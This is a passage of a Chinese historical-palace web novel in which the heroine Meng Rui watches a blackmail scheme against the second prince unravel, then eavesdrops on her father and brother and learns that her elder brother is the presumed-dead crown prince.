今日这般情形,齐月佳出现在二皇子的私宅,两人均是衣衫不整,外头还有来捉奸的人群,齐月佳想要做什么,不言而喻。
“我不明白,就算齐月佳能勾搭上好色的二皇子,但晋国公怎会任由她做出这种事?”
孟蕊望着那边院子里的动静,疑惑地问。
“正在撞门的那些人,应该是齐月佳安排好的吧?她能调动这么多晋国公府的下人?”
秦仲棋解释道:“她当然不行,晋国公躲都来不及,除了二房的心腹外,齐月佳叫不动晋国公府的其他人,我们看到的这些,是杜家派来的人。”
“杜家?晋国公夫人杜氏的人?”
孟蕊明白了,杜氏被下了狱,杜家想要救她,便与齐月佳合作,抓了二皇子的把柄,以此威胁二皇子出手捞人。
秦仲棋颔首,“晋国公心够狠的,把占地杀人的过错,全都推到杜氏和杜家头上,杜家若不想办法自救,等到杜氏在刑部画押认罪,杜家也免不了罪责。”
说话间,孟蕊看到,远处的院子里,杜家派来的下人们,已经冲过三进院的门,将被齐月佳抱住、未能及时逃跑的二皇子,围了个严严实实。
一名衣着体面的婆子,从人群中走出来,恭敬地对二皇子福了福身,然后对着二皇子说着什么。
二皇子一把甩开粘在他身上的齐月佳,指着那婆子,似在怒骂。
齐月佳被甩在地上,没有再爬起,捂着脸,像是在哭。
因距离太远,孟蕊听不到他们具体的谈话,但以他们所处的关系和情形看,不难猜到他们谈话的内容。
那婆子大概是威胁二皇子,要他帮忙救出杜氏和齐月佳的父亲,否则就要让二皇子难堪之类的。
渐渐地,二皇子收回了手,院中剑拔弩张的气氛缓和下来,他们似乎达成了某种协议。
“二皇子若是答应了他们的条件,那不就没戏看了?”
纪华筠也看明白了现在的情况,颇为担心道。
她厌恶二皇子,不是一天两天了,这么好打击二皇子的机会,可不能让他们谈成。
站在她身边的孟瑜,拍了拍她的手,指了指那座宅子外的围观的人群。
人群之中,几名身穿御史官服的官员,格外显眼。
而在人群之外,隔了约一条街的距离,接到二皇子遇刺消息的曹家私兵,正快速向二皇子私宅的方向赶去。
第305章 翻脸不认
很快,曹家私兵赶到二皇子的私宅门口。
他们冲开人群,夺门而入,将第一进院中压制二皇子侍卫的若干人等,全都打倒并抓了起来。
重获自由的二皇子侍卫们,和曹家私兵汇合,一起往里冲,几息的功夫,就赶到了二皇子所在的第三进院子。
看到突然闯进来的兵士,正与二皇子说话的杜家婆子刚开口询问,就被兵士一脚踹开。
杜家婆子差点摔在地上,她扭头让二皇子和兵士们说清楚。
但二皇子翻脸不认人,刚才谈好的条件,全都作罢,手一挥,命令兵士们,把院子里的人全都抓起来。
杜家自然也不愿束手就擒,在杜家婆子的招呼下,院子里的杜家下人们,和刚进来的曹家私兵以及二皇子侍卫们,打在了一起。
之前,杜家的下人们,能暂时制住二皇子的侍卫,是因为二皇子私自出门,只带了三名侍卫,很容易就被独家人以人多的优势制住。
但现在,曹家私兵少说也有十几二十人,他们训练有素,功夫比杜家下人好,很快占了上风。
眼瞅着杜家人快要抵挡不住,齐月佳偷偷绕后,向院外跑去。
等二皇子发现齐月佳不见时,齐月佳已经跑出了私宅大门,对着门外看热闹的百姓们,大喊救命。
“我是晋国公府的小姐,二皇子萧安,他不但欺辱于我,还要杀了我!求求各位,救我性命!”
众人一听皇子名讳,都惊了一跳,又听到院子里传来打斗的声响,不少担心惹火上身的普通百姓,连忙小跑着离开。
也有胆大好事的,上前给齐月佳出主意:
“这位姑娘,里面要真是二皇子殿下,我们这些平民老百姓,可管不了,你得去报官。”
另一人不赞同道:
“那是皇子,报官有什么用?我看要去找皇帝老儿,管他的皇子才行。”
齐月佳听着路人的话,眼神慌乱地往回看,生怕里面的兵士跑出来抓她。
她要是被抓住,那这场算计,就完全没用了!
齐月佳定了定神,现在这般情况,她只能孤注一掷。
她注意到那几个盯着她看的御史,认出了其中一位熟人。
“许大人,您最是刚正不阿,锄强扶弱,求求您,救救我!”
……
曲生楼三楼雅间,孟蕊望见从宅子里跑出来的齐月佳,跟着那几个穿着御史官服的人,上了停在路边的马车。
马车驶离宅院门口后,曹家私兵才追出来,没有齐月佳的身影,又返回去禀报二皇子。
“齐月佳会被带去哪儿?”
纪华筠紧张地问。
“那几个穿官服的,是什么人?”
孟瑜沉声道:“她得罪了二皇子,触怒了曹家,现在能帮她的,能救她性命的,天底下还有几个?”
“你是说……她现在要进宫?”
纪华筠脑子一转,就明白过来,齐月佳要进宫面圣。
“她闹这一出,估计也救不了她爹,说不定还会把自己搭进去,何必呢?”
纪华筠也是知道晋国公府近况的,不由感叹。
“或许她听晋国公的,远远嫁到外地,说不定能遇上真心人,日子也能过得不错。”
孟蕊没有纪华筠那么乐观,她了解晋国公的狠毒,平静而冷漠地说:
“嫁到外地的前提是,齐月佳能平安活到出嫁。
她能做出算计皇子这种与虎谋皮的危险之事,很可能是因为,她在晋国公府,感受到了某种威胁,不得不这样做。”
纪华筠一点就通,惊诧道:“晋国公会那么狠?齐月佳是他亲侄女呀。”
“连亲弟弟和枕边人,都能送出去顶罪的人,能有多心善?”
孟蕊想到心狠手辣的晋国公,微微叹息。
“可惜刑部和大理寺没有找到证据,让晋国公逃过一劫,只是丢了官,连爵位都还在。”
如此也可见曹家在朝中的势力之深,盘根错节,把晋国公的罪证藏匿得干净。
“慢慢来,今日过后,又要是不一样的情景。”孟瑜笃定道。
远处,二皇子的侍卫牵来了马车,曹家私兵将宅门口围观的百姓驱散,护送二皇子上了马车,看方向,是往曹家而去。
那些杜家派来的人,被曹家私兵捆绑起来,关在宅中。
“看样子,二皇子是要去曹家,找曹尚书他们商议对策。”
纪华筠猜想道,她抬眸问孟瑜。
“我们下一步要做什么?”
看到那处宅院人群散去,只余曹家私兵看守,孟瑜关上窗户,拉着跃跃欲试的纪华筠,坐回椅子上,无奈地说:
“什么都不用做,我们今日只是来此用餐,什么也没看到,什么也不知道。”
纪华筠亮晶晶的眼眸盯着孟瑜,欲言又止,纠结之下,终是把想说的话憋了回去。
孟蕊赞同地点头,“二哥说得没错,我们今日只是出来用餐,碰巧遇到了秦世子,其他的事,一概不知。”
话是这样说,但孟蕊心里清楚,今日二皇子和齐月佳这遭事,其中肯定有二哥和秦仲棋的参与。
至于他们做了什么,参与了多少,他们不说,孟蕊也不问。
孟蕊感觉心里暖暖的,二哥今日突然带她们来曲生楼用餐,估计就是为了让她亲眼看到二皇子的丑态,给她出气。
他们又在雅间中坐了一会儿,闲聊起来,默契地不再说关于二皇子的事。
从孟瑜和秦仲棋的谈话中,孟蕊才知道,这座曲生楼,是孟瑜和秦仲棋合伙的产业,怪不得他俩能一人定一个三楼的雅间呢。
“二哥,你居然和秦世子一起做生意,真是令人想不到。”
孟蕊瞥向秦仲棋,这厮总是有意无意地看向翠柳,那副贼心不死的样子,让孟蕊不爽。
她才不会把单纯可爱的翠柳,交到这种相好一大堆的纨绔浪荡子手里。
秦仲棋听到孟蕊提到自己,顺溜地接话。
“这有什么想不到的?五年前,我和孟贤弟在京中初识,就一见如故。
孟贤弟为人仗义,听说我做生意缺银子,他出手就是一千两银票,帮我解了燃眉之急。
我当时就承诺,那一千两,是孟贤弟入股的银子,这家曲生楼,我和孟贤弟一人一半,文书俱全,童叟无欺。”
孟蕊眸光一滞,望向孟瑜,问:
“二哥,五年前,你就来过京城了?怎么没听你说过?”
第306章 早就相识
孟瑜回望孟蕊,眼神深邃深沉,隐含着几许愧疚。
见孟瑜沉默不语,只一味地凝视孟蕊,秦仲棋看不过去,接过话茬,喋喋不休地说:
“何止是五年前,阿瑜几乎每一年,都会来趟京城,去年,我和他在西市逛,远远瞧见过你。
我当时跟他说,你做生意很有一套,还好安乐侯府只是开些绸缎庄米铺之类的生意,不然我们酒楼的生意,都要被你抢跑了。”
孟蕊听着秦仲棋的话,双眸一眨不眨地看向孟瑜。
她张了张嘴,却感到喉头艰涩,话到嘴边,说不出来。
她想问二哥,秦仲棋说的,是不是真的?
他们兄妹俩,竟然那么早,就见过面了吗?
“对不起,蕊儿。”
孟瑜先开了口,沉声道歉。
“我应该早点找到你的,但我……”
“你不用对我道歉。”
孟蕊嗓音沙哑,善解人意地说。
“二哥,我知道的,你心里也不好受,你不想做的事,没有人可以逼你。”
孟蕊知道孟瑜话中的意思,如果孟瑜五年前就与谢清源父子相认,他们或许能早点发现孟蕊与姜瑶抱错的事。
那样的话,孟蕊可以早些回到谢府,不用为安乐侯府起早贪黑地做生意赚钱,不用照顾安乐侯夫人和姜铭昊那个便宜弟弟……
可是,谁又说得准呢?
或许,姜瑶看中谢府富贵,隐瞒身份,不愿意换回来?
有或许,随着情况改变,两家女儿被抱错的事,一直没有被发现?
这些都不好说,况且,孟蕊很清楚,孟瑜不愿意认谢清源这个父亲。
甚至非必要,孟瑜从不唤谢清源父亲。
父子之间的隔阂,并没有因为这半年的相处而消散,反而如一道看不见的墙,一直矗立在孟瑜和谢清源中间。
孟蕊理解孟瑜的心情,设身处地而论,孟蕊若是孟瑜,也很难原谅抛弃妻儿的谢清源。
京城大乱时,孟瑜才三岁,乱军冲入家中,他依赖的父亲不见踪影,是身怀六甲的母亲,将他绑在背上,一路杀出城去……
孟瑜既然五年前就来过京城,就不会不知道谢清源一直在重金寻找妻儿的消息。
他坚定地不认父亲谢清源,可见他不愿原谅谢清源的态度。
其他人没有经历过他的苦,也没有资格,逼他做他不愿意的事。
听到妹妹如此善解人意的话,孟瑜眼中的愧疚更浓。
“蕊儿,以前是我考虑不周,以后,只要有我在,就绝不会让人再欺负你。”
“嗯!我相信二哥。”
孟蕊微笑着应下。
今天的二哥,不就是在帮她向污她名声的二皇子报仇吗?孟蕊感受得到二哥对她的真诚。
“说起来,二哥你每年都会来京城,入伙了秦世子的生意,那你和华筠姐姐,该不会也早就认识了吧?”
孟蕊的目光在纪华筠和孟瑜身上来回逡巡,她记得纪华筠曾说漏嘴,在京城认识孟瑜的事,马上纪华筠又说她口误,孟蕊当时没有多想。
现在看来,纪华筠和孟瑜很有可能早就认识,他们初识的地点,就是京城。
孟瑜和纪华筠对视一眼,情意泛着波光流动,是早已两情相悦的欢愉。
“是,我和华筠,也是在五年前于京城认识。”
孟瑜原本冷峻的面容,如冰雪消融般,浮现怀念的笑意。
“那一年,我十四岁,随师父游历江湖,师父将我带到京城,告诉我,谢清源一直在找阿娘和我的事,他让我自己决定,要不要认回父亲。”
孟瑜看向孟蕊,眼含歉意。
“我那时年少气盛,果断拒绝了认亲,师父让我留在京城一个月,慎重考虑后,再做决定,我便在京城暂时住了下来。
期间,我认识了秦世子,他父亲病重,叔伯凶悍,生意周转遇急,我便帮了他一把。
之后,秦世子为了报答,要带我见识京中繁华,我跟着他去参加过几次京中高门大户的宴会。
在其中一次宴会上,遇到了躲在花园假山里的华筠,当时她在……”
“啊——!打住!别再说了!”
纪华筠羞恼地打断孟瑜的话。
“那么久之前的事,不要提了嘛!”
孟瑜好笑地看着她,见纪华筠不满地撅起嘴,瞪着一双美眸警告他,孟瑜顺从地颔首,没有再说。
孟蕊看到纪华筠这样,心中产生了好奇。
纪华筠现在的性子大大咧咧,有什么说什么,很少有这般难以启齿的时候。
五年前的纪华筠,是一个才十二岁的小姑娘,她和二哥初遇,发生什么事了?
孟蕊努力回忆,那时的自己才十一岁,年纪还小,安乐侯府没落,也没那么多宴会邀请他们,完全想不起来与纪华筠或是孟瑜有过交集。
“县主,柳姑娘,你们是不是很想知道当年发生了什么?”
秦仲棋突然插话,献宝似的对孟蕊和翠柳说。
孟蕊和翠柳,齐齐看向他,都是一副很想知道的样子。
“你知道?”
秦仲棋点头,桃花眼含水带情,引诱着对翠柳说:
“京中的这些家宅隐秘,我知道的可多了,下次来书肆,我细细讲给你听啊。”
“不必了!”孟蕊替翠柳拒绝,“我们不想知道。”
“哎,那就可惜了……”秦仲棋耸了耸肩,故意做出惋惜的表情。
“秦世子,都说不该背后论人长短,你倒好,当着我的面,就肆意编排我。”
纪华筠凶狠地对秦仲棋晃了晃拳头。
“你要是敢说,当心我打肿你的嘴!”
“哎哟,我好怕哦!”
秦仲棋迎着纪华筠凶狠的目光,故意扑到孟瑜身边,装模作样道。
“孟贤弟,你未婚妻要打我,快救救我!”
孟瑜无奈地看着他们俩,“好了,别闹了,时候差不多,我们该回府了。”
“二哥说得对,我们走吧。”
孟蕊迫不及待地站起身,她早就想带着翠柳,远离秦仲棋了。
……
与秦仲棋告辞后,孟瑜带着她们又在街上逛了逛,买了好些东西,才往回走。
回到谢府时,天色已经暗下,刚一进门,李管家迎了上来,对孟瑜说,谢清源有事找他。
孟瑜跟着李管家,去了谢清源的书房。
孟蕊将翠柳送回住处,越想越觉得不对,换了套轻便暗色的衣裳,绕着小路,悄悄去了谢清源的书房。
第307章 书房偷听
孟蕊一边快步向前走,一边止不住地担心。
在对待皇子夺嫡一事上,谢家一向保持中立,谁也不支持,谁也不得罪。
今日二哥为了给她出气,对二皇子出手,回想起来,多少有些冒进。
如果被人查出有二哥和秦仲棋的手段,那曹家和二皇子定然不会罢休,再牵扯上晋国公府,那就更麻烦了。
爹爹单独找二哥谈话,是不是因为发现了他们今天做的事?要训斥二哥?
孟蕊心中涌起不安,她的名声不好,早就不在意了,不想因为自己,让爹爹和二哥本就冰冻一般的关系,更加糟糕。
不多时,孟蕊走到谢清源的书房院外。
她看到有两名侍卫守在院门口,随即拐了个弯,绕到了书房院子后面。
这里没有人,孟蕊将耳朵贴在院墙上,尝试是否能听到里面的说话声。
若是爹爹声若洪钟地教训二哥,她就马上冲进去阻止。
可惜,她什么也没听到。
孟蕊站直身子,在越来越暗的暮色中,望着不算高的院墙,蹙着眉,摸着下巴,细细思忖。
片刻之后,她决定了,悄悄潜进去,先弄清爹爹在和二哥说什么。
如果爹爹不是在教训二哥,她就不干预,悄悄溜出来,以她现在的轻功,有把握不惊动到书房里的人,避免尴尬。
说做就做,孟蕊后退几步,助跑后运起轻功,轻松越过院墙,落地时脚尖着地,没有发出一点声音。
她踮着脚尖,弓着腰,小心翼翼地走到书房窗下,清晰地听到里面谢清源的唉声叹气。
“阿瑜,为父和你说了这么多,你听进去没有?以后行事不可如此莽撞,那是在宫里,你怎么能公然与三皇子动起手来呢?”
三皇子?孟蕊听得疑惑,怎么又牵扯到了三皇子?
书房中传来孟瑜冷淡的回应。
“不算动手,他要带我去见姜瑶,我不想去,他来拉扯我,我轻轻一推,他就倒地了。”
“姜瑶又来找你了?”谢清源烦躁地问,“你去与她把话说清楚,总躲着也不是事。”
孟蕊没有听到孟瑜的声音,一般来说,她二哥沉默,是不同意的意思。
姜瑶总往孟瑜身边凑的事,孟蕊是知道的。
从孟瑜的反应看,他对姜瑶这个便宜妹妹没有好脸色,也不想去见。
听说,姜瑶在孟瑜出门的路上,堵过孟瑜几次,孟瑜只看她一眼,就装作不认识地走过。
姜瑶追上来与孟瑜攀扯兄妹感情,孟瑜视而不见,直接快步离去。
孟蕊猜测,姜瑶这是想来和孟瑜套近乎。
孟瑜不搭理姜瑶,姜瑶便去找三皇子帮忙,请三皇子出面,以皇子身份施压孟瑜,让孟瑜来见她,可不料,孟瑜宁愿得罪三皇子,也不愿接近姜瑶。
得不到孟瑜的回应,谢清源继续说:
“你不想去见姜瑶,就不去吧,但下次遇到这种情况,能避则避,别和三皇子正面冲突。”
谢清源语气中透着无奈。
“还有,发生了这种事,你回家后怎么不告诉为父?
若不是霍统领下午来府中告知,我都不知道,你为了这事,向他提出要离开羽林军,你今日也没去宫中当值,是真不想干了?”
孟瑜依旧不语,谢清源自顾自地劝:
“三皇子只是摔倒,没有受伤,他也没有降罪于你,你不必在意,用不着离开羽林军。”
这次,孟瑜终于有了回应。
“你愿意去给宫里的主子们当奴才,是你的事,我不愿意伺候人,我不干了,又何妨?”
蹲在书房窗外下的孟蕊,终于听明白了谢清源找孟瑜的原因。
在孟蕊看来,二哥武功高强,性情刚直,之前无论是在江湖上,还是在军中,都能混出名堂,没必要死磕羽林军的职位。
羽林军是皇帝亲兵,在宫中值守巡逻,必然要与皇室中人打交道,态度总要恭敬些。
皇亲贵胄霸道跋扈,受气也是难免。
二哥颇得陛下青睐,日常作为亲卫,跟在陛下身边保护,现在已经是陛下跟前的红人。
以陛下对孟瑜和谢家的宠爱,孟瑜要离开,陛下应该也不会为难他。
孟蕊如此想着,觉得这事应该以二哥的意愿为主,她就不用掺和其中了。
正准备离开时,孟蕊听到谢清源对孟瑜的劝诫声。
“阿瑜,你是羽林军左郎将,有正经的军职,怎么会是奴才?
宫中人际关系复杂,你一个不经意的举动,或许就会被人作为判定态度的依据。
就拿你昨日推三皇子那一下来说,有心之人看到你们发生冲突,不知详情者,会以为你与三皇子有矛盾,进而推论我们谢家与三皇子有矛盾。
夺嫡的争斗在前朝已经激烈起来,你务必谨慎行事啊。”
孟蕊已经弓着腰站起,转身准备悄悄离开时,她听到孟瑜夹杂着酸意的声音。
“你说来说去,不还是为了他?”
孟蕊脚步停住,张着耳朵听。
二哥所说的“他”,是谁?
“阿瑜,为父在和你讲道理,你又扯到哪里去了?”谢清源语气无奈。
“别拿你那些虚伪的大道理来搪塞我,我不是傻子!”
孟瑜语气激动,声音豁然响亮。
孟蕊又蹲回了之前的位置,好奇地继续听。
上一次二哥有如此外露的情绪,还是在半年前的孟家堡,二哥为了他师父的死,质问孟剑雨的时候。
书房中的孟瑜,已经从椅子上站了起来,愤愤然瞪着谢清源,痛斥道:
“谢清源,你扪心自问,在你心里,阿娘、我还有妹妹,和他相比,你更在意谁?
为了他,当年你抛弃即将临盆的阿娘,不顾一切地去救他,阿娘差点死了你知道吗?
为了他,你压上了身家性命,把他养在身边,视作亲子般悉心照料。
说什么谢家不参与夺嫡,但他的身份一朝暴露,若是不能赢下那个位置,谢家全家都保不住!
为了他,你不敢去给被二皇子污了名声的妹妹讨回公道,因为你怕打草惊蛇。
为了他,你把我安排进羽林军任职,是想让我近距离接近皇帝,好帮你们监视他。
我现在不想干了,你又拿出什么夺嫡争斗、家族安危的幌子来稳住我,想让我继续为你们卖命?
呵,我告诉你,谢清源,我就是不干了,你说什么也没用!”
第308章 惊天秘密
孟瑜愤慨的话说完,书房中一片静谧。
躲在书房窗外的孟蕊,震惊得瞪大了眼,一时不敢相信自己听到了什么。
二哥说,爹爹十六年前是为了去救那个“他”,才抛下了娘亲和二哥。
孟蕊知道,爹爹立下了从龙之功,救的那个人不是皇帝,就是与皇帝关系紧密之人。
二哥说,爹爹把那个“他”养在身边,视作亲子。
说明爹爹救下的是可以养做儿子的孩童,这说的不就是大哥孟瑾?
二哥说,爹爹为了大哥压上了身家性命,大哥身份一朝暴露,若是不能赢下那个位置,谢家全家都保不住!
那个位置……
还有大哥的真实身份……
以及二哥说爹爹为了大哥,把他安排进宫监视皇帝的做法……
孟蕊惊觉,自己发现了一个天大的秘密!
怎么会这样?
大哥不是她的亲大哥。
孟瑾不是她爹爹和娘亲的亲生儿子。
孟瑾他是……
孟蕊连忙捂住自己的嘴,压下快要溢出的尖叫。
怪不得娘亲第一次回来,见到大哥时,表情那么奇怪。
原来娘亲在那时就知道了!
还有在孟家堡时,孟剑雨听到她提起大哥,眼中浮现的茫然,如今也得到了解答。
大哥的真实身份,爹爹知道,娘亲知道,二哥知道,李管家一直跟着爹爹,想来也是知道的。
他们,就瞒着她一个!
最初知道消息的惊吓过后,孟蕊心里乱糟糟的,不知该如何是好,她以后要如何面对大哥呢?
“阿瑜,你怎么会这样想?”
许久之后,书房中再次传来谢清源疲惫的声音。
“我安排你进羽林军,从来没有要你去监视陛下,我只是作为一个父亲,想让失而复得的儿子留在京城,陪在身边,同时为你安排一个好前程。
当年我们家的事,陛下全都知晓,他对你有愧,一直想要补偿你。
你在陛下身边待上一年半载,以后无人敢再看轻你,还能快速熟悉京中人脉、朝堂关系,这是旁人羡慕不来的差事。
你若确实不喜欢在宫中当值,你给我一点时间,我想办法安排。
兵部如何?你以后的老丈人永宁侯,是兵部尚书,在他手下办事,你可愿意?”
谢清源语气中带着小心的讨好。
过去的事,已经无法改变,对亲生儿子的伤害已经造成,他能做的,就是尽力弥补。
片刻的沉默之后,孟瑜语气冷漠地问:
“你的意思是,陛下也知道他的身份,是专门让你帮他养儿子的?”
窗外的孟蕊神情一凛,专注地听着书房内的谢清源说。
“当年我赶到时,情况凶险,拼尽全力才救下他,我们都受了伤,耽误了回家的时间。
由于未能查清要害他之人的身份,加之朝中局势不稳,宫中危机四伏,陛下对外宣布了他的死讯,以保证他的安全,暂时由我来照顾他。
后来,为了稳固后宫前朝,曹氏成了太后,陛下为他的安危着想,给他安排了假身份,继续让他住在宫外。
他的身份一直是孟姓商户之子,这些年,我在外奔波,除了生意上的事,就是在寻找你和你娘,都是陛下的人在照顾他,我并未插手。
直到你妹妹被抱错的事曝出,阿瑾去信给我,又把蕊儿接回府中保护,我们才对外宣布了父子关系。
这样做,主要是为了蕊儿,她吃了许多苦,在京中名声不好,需要一个较高的身份,才能更好地保护她。”
孟蕊听到这里,悬着的心终于落地。
她的猜想没错,孟瑾就是陛下的亲儿子!
而十六年前陛下唯一宣布死讯的儿子,就是那个据说已经死在京城大乱中的元熙皇太子。
元熙皇太子,是陛下和发妻宸元皇后的独子。
宸元皇后,闺名谢馨,是谢家的女儿,谢清源的五姐。
谢清源为了救姐姐和皇帝好友的儿子,抛下妻儿,孤身犯险,孟蕊不知该如何评价。
她理解爹爹的救人心切,也理解二哥的怨恨愤怒。
这本就是两难的选择,抛弃哪一边,爹爹都会痛苦。
孟蕊想,大概爹爹觉得娘亲很强,可以保护好自己和孩子,他去去就回,不会耽误太久。
但不料,那一别,就是十六年之久。
而前世,因为谢清源这一走,间接导致孟蕊被抱错,让她历经磨难,到死都不知道自己的身世。
怨恨吗?孟蕊说不上来。
她觉得自己应该像二哥一样恨爹爹的,但心中却提不起劲。
说不上恨,也说不上原谅。
就这样吧。
孟蕊出生之前的事,她无法更改。
但父亲有在尽心补偿她,给了她优渥的生活,高贵的身份,真心的关爱。
父亲为她撑腰,为她提供保护,让她可以自由自在地生活,连一句重话都没对她说过。
和无能又不停向孟蕊索要钱财的安乐侯相比,谢清源已经是顶好的父亲了。
而对孟瑾,这个突然从亲哥变成表哥、还是皇子的人,孟蕊的心情要复杂得多。
当然,孟蕊依然很感激孟瑾对自己的帮助。
如果不是孟瑾率先发现了她的身份,要等长期在外地寻妻不回京的谢清源,发现孟蕊是自己的亲生女儿,不知道要等到猴年马月。
如果不是孟瑾当机立断,将孟蕊从镇北王府带回谢府保护,孟蕊觉得凭自己的当时能力,难以逃脱厉青鸿的魔掌。
更不用说回到谢府之后,孟瑾对她的关心,还有在外人面前,孟瑾对她的维护。
孟蕊已经把孟瑾当做亲兄长,信赖着,依靠着。
可今日却突然知道,那个她信任的人,一直套在一层虚假的身份中与她来往,孟蕊多少有些不高兴。
而且当年,父亲抛下怀着自己的娘亲,也要去救的人,就是孟瑾。
还有孟瑾他是皇子,他应该……也是要参与夺嫡的吧?
那样岂不是很麻烦?又很危险?
孟蕊一想到这些,就百感交集,心乱如麻。
书房中,谢清源还在苦口婆心地劝孟瑜,不要突然放弃羽林军的职位,就算真要走,也要等他安排好调职再说。
孟瑜已经没了继续听他唠叨的耐心。
“我就是不想干了,这些天都不想再去宫里,暂时告假也好,停职也罢,你不是很喜欢安排我吗?你自个儿看着办吧。”
第309章 廊上相遇
孟瑜的话说完,书房内响起椅脚划过地面的声音。
孟蕊静静听着,应该是二哥起身拖动了椅子,他要离开书房了吗?
果然,之后是脚步声,和“吱哑”开门的声音。
孟瑜走出了书房,谢清源跟在后面追。
“阿瑜,那你冷静几天,我先帮你去向霍统领告假可好?”
“随你。”
两人说话的声音渐行渐远,应是出了书房,走向院外离开。
孟蕊终于可以站起身,她揉着蹲麻的双腿,适应了一会儿后,选择原路返回。
她悄声往院墙走去,运起轻功,翻墙而过。
孟蕊心里装着事,脚步沉重而缓慢地往自己院子走。
她还在想方才听到的对话。
孟瑾是皇帝养在民间的皇子,按说成年之后,有了自保能力,应当接回宫,恢复皇子身份,可是孟瑾却科举考中状元,又进入刑部为官。
皇帝这样做,是什么意思?
放养不管?又或是有其他安排?
近些年来,朝中提议立储的折子无数,都被皇帝按下不议。
二皇子和三皇子的势力,在朝中争斗不休,皇帝也几乎不管。
只有在他们斗得凶猛过分时,皇帝才会出来,各打五十大板,让他们安分一些。
前世,直到孟蕊在北地自戕,皇帝也没有立太子,更没有听说已故的元熙皇太子死而复活的奇闻。
这是不是可以说明,孟瑾在六年后,都没有恢复身份,他们至少还有好几年的安生日子可过?
孟蕊如此思忖着,心下稍安。
可转念一想,她的重生,会不会改变原本的发展轨迹?
比如青城郡主前世没有办过的雅集,然厉青雪看到了其他男子,不再执着于齐轩。
比如许南音逃过前世劫难,没有和乐师私奔的传闻,名声虽受损,但比前世好太多。
还有,晋国公府被查,晋国公和齐轩、齐辕被罢官,都是前世没有发生的事……
这些变化,会带来哪些影响呢?
孟蕊很难预测,心中总是惴惴不安。
她垂着头,蹙着眉,满腹心事地向前走着,思索着要不要去向爹爹和二哥问清楚。
可是,他们既然瞒着她,应该是不想让她知道。
她再去问,被发现她偷听墙脚,知道了这些秘密,会不会让爹爹和二哥看低了她,觉得她心思不纯?
孟蕊现在有些后悔去偷听了,知道的太多,也是一种烦恼。
“蕊儿?你怎么一个人在这里?”
一道熟悉的清越男声从身后传来。
“你身边伺候的人呢?”
孟蕊停住脚步,回首往后看去。
暮色渐沉,朱漆长廊上已点上了灯,孟瑾正一步步向着她走近,月白色锦袍下摆微微荡起,腰间羊脂玉佩轻叩丝绦。
那通身的气度非凡,公子如玉,皇亲贵胄,不外如是。
廊下灯笼的光晕染上孟瑾的轮廓,将他的影子拉得很长。
光影交错间,孟瑾棱角分明的五官更显英挺,漆黑的眼眸,深邃如幽静的冷潭,正定定注视着孟蕊。
廊外几株腊梅斜出,暗香浮动,伴着冬夜冷风吹来,孟蕊不禁打了个寒颤。
“大……大哥?”
孟蕊局促地唤道。
“我在家中随意走走,不想带人出来。”
刚偷听到了孟瑾的秘密,就碰上了正主,让孟蕊有种做坏事被抓包的无措感。
孟瑾走到孟蕊身前站定,眸光定在孟蕊的脸上,关心地问:
“蕊儿,你脸色不好,是身子不适吗?”
他抬起手,习惯性地去探孟蕊的额头。
孟蕊水眸中闪过惊慌,下意识退后一步,避开孟瑾的手。
反应过来时,她又觉得自己的动作有些刻意,尴尬地笑着解释:
“大哥,我没有不舒服,就是吹了会儿风,觉得有点凉而已。”
孟瑾面不改色地收回手,目光扫过孟蕊身上单薄的衣裳,眸色一暗。
“如今天寒风大,你还穿这么少,走,为兄先陪你回去添衣,再去用膳。”
说着,孟瑾走到孟蕊身畔,与她并肩而立。
孟蕊刚知道孟瑾的真实身份,此刻心中一团乱麻,又免不了心虚自己偷听之事,不想与孟瑾同行,怕被聪明的孟瑾发现了端倪。
“大哥,我自己回去添衣便好,你快去陪父亲用膳吧。”
孟蕊弯了弯嘴角,露出一个乖巧的笑。
“晚膳我和华筠姐姐她们一起吃。”
孟瑾温柔地注视着孟蕊,轻笑道:
“蕊儿你忘了?今天是腊月二十六,再过三天就要过年,明日纪小姐要回永宁侯府,父亲希望我们一起吃顿饭,就在今晚。”
孟蕊这才想起来,谢清源很早之前就说过,纪华筠回家之前,全家人一起吃顿饭。
当时谢清源是想着孟天回京后,他们这对公婆,一起表达对纪华筠这个未来儿媳的重视。
不过到现在为止,孟天都没有回京,其间又发生了许多其他事,孟蕊也就淡忘了这件事。
“不是要等娘亲回京后,再一起用膳吗?”
孟瑾道:“母亲今日来信,她有事在路上耽搁,要大年初二才能到京城,那时纪小姐早已归家,所以便将宴席定在今晚。”
“原来是这样……”
回家后的第一个新年,不能和娘亲一起守岁,孟蕊有些失落。
“走吧,快去添加衣物。”
孟瑾温柔地催促着。
“别着了凉,也别让父亲他们久等。”
孟蕊点了点头,与孟瑾并肩而行,回到自己的院子。
她快速换了件锦缎夹袄,担心孟瑾又念叨她,又披了件狐裘披风,才带着吟夏和吟秋,和外间等待她的孟瑾一起出门,去往饭厅。
饭厅中,谢清源、孟瑜和纪华筠,都已经到了。
纪华筠看看冷着脸的孟瑜,又瞅瞅苦恼的谢清源,得出结论:
“谢大人,你又和阿瑜吵架了?”
见父子俩都不回答,纪华筠摆出一副很懂的样子,对着他们指点道:
“我懂,父子之间,吵吵架,没多大事儿。
我哥之前在京城的时候,也总和我爹吵架,我爹脾气大,逼着我哥什么都要听他的,我哥受不了,直接跑回南境了。”
纪华筠颇有深意地瞄了眼谢清源。
“我爹现在想见我哥,也见不到,我哥连封信都不给他写,你们说,我爹他后悔吗?”
第310章 君子如玉
谢清源听出来,纪华筠是在借纪家父子的事,帮孟瑜说话,故意点他呢。
永宁侯与嫡子纪华笙之间的关系,谢清源也略知一二。
纪华笙和纪华筠兄妹俩,从小跟随纪老将军在南境长大,十几岁时才被永宁侯夫妇接来京城生活。
永宁侯对这一双儿女寄予厚望,以京中规矩严苛教导。
纪华笙受不了京城的奢靡风气,和书院中那些不知民生艰难的纨绔,更不想听永宁侯的要求与他们交朋友。
在京中待了一年,纪华笙就找机会,偷偷逃出了京城,投奔了南境军中的二叔。
现在的纪华笙,已经凭借军功,被皇帝封为三品昭勇将军,不可谓不优秀。
永宁侯与谢清源吃酒时,谈起各自的儿女,常常后悔自己脾气太冲,逼走了同样倔强的儿子。
在与儿子关系不佳这一点上,谢清源和永宁侯倒是同病相怜。
谢清源看了眼面无表情的孟瑜,认真对纪华筠说:
“为了你兄长的事,你父亲挺后悔的,就是他身在高位久了,拉不下脸来说,你与你兄长关系亲近,写信劝劝他,该与家中多联络。”
“多联络做什么?好让我那对势利眼爹娘控制他?”
纪华筠撇撇嘴,不赞同道。
“谢大人,你是不知道,要不是我哥瞒着京城这边,在南边先斩后奏娶了亲,有了娃,他就娶不到现在心爱的嫂嫂了!”
听到了之前不知道的轶事,谢清源双眼一亮。
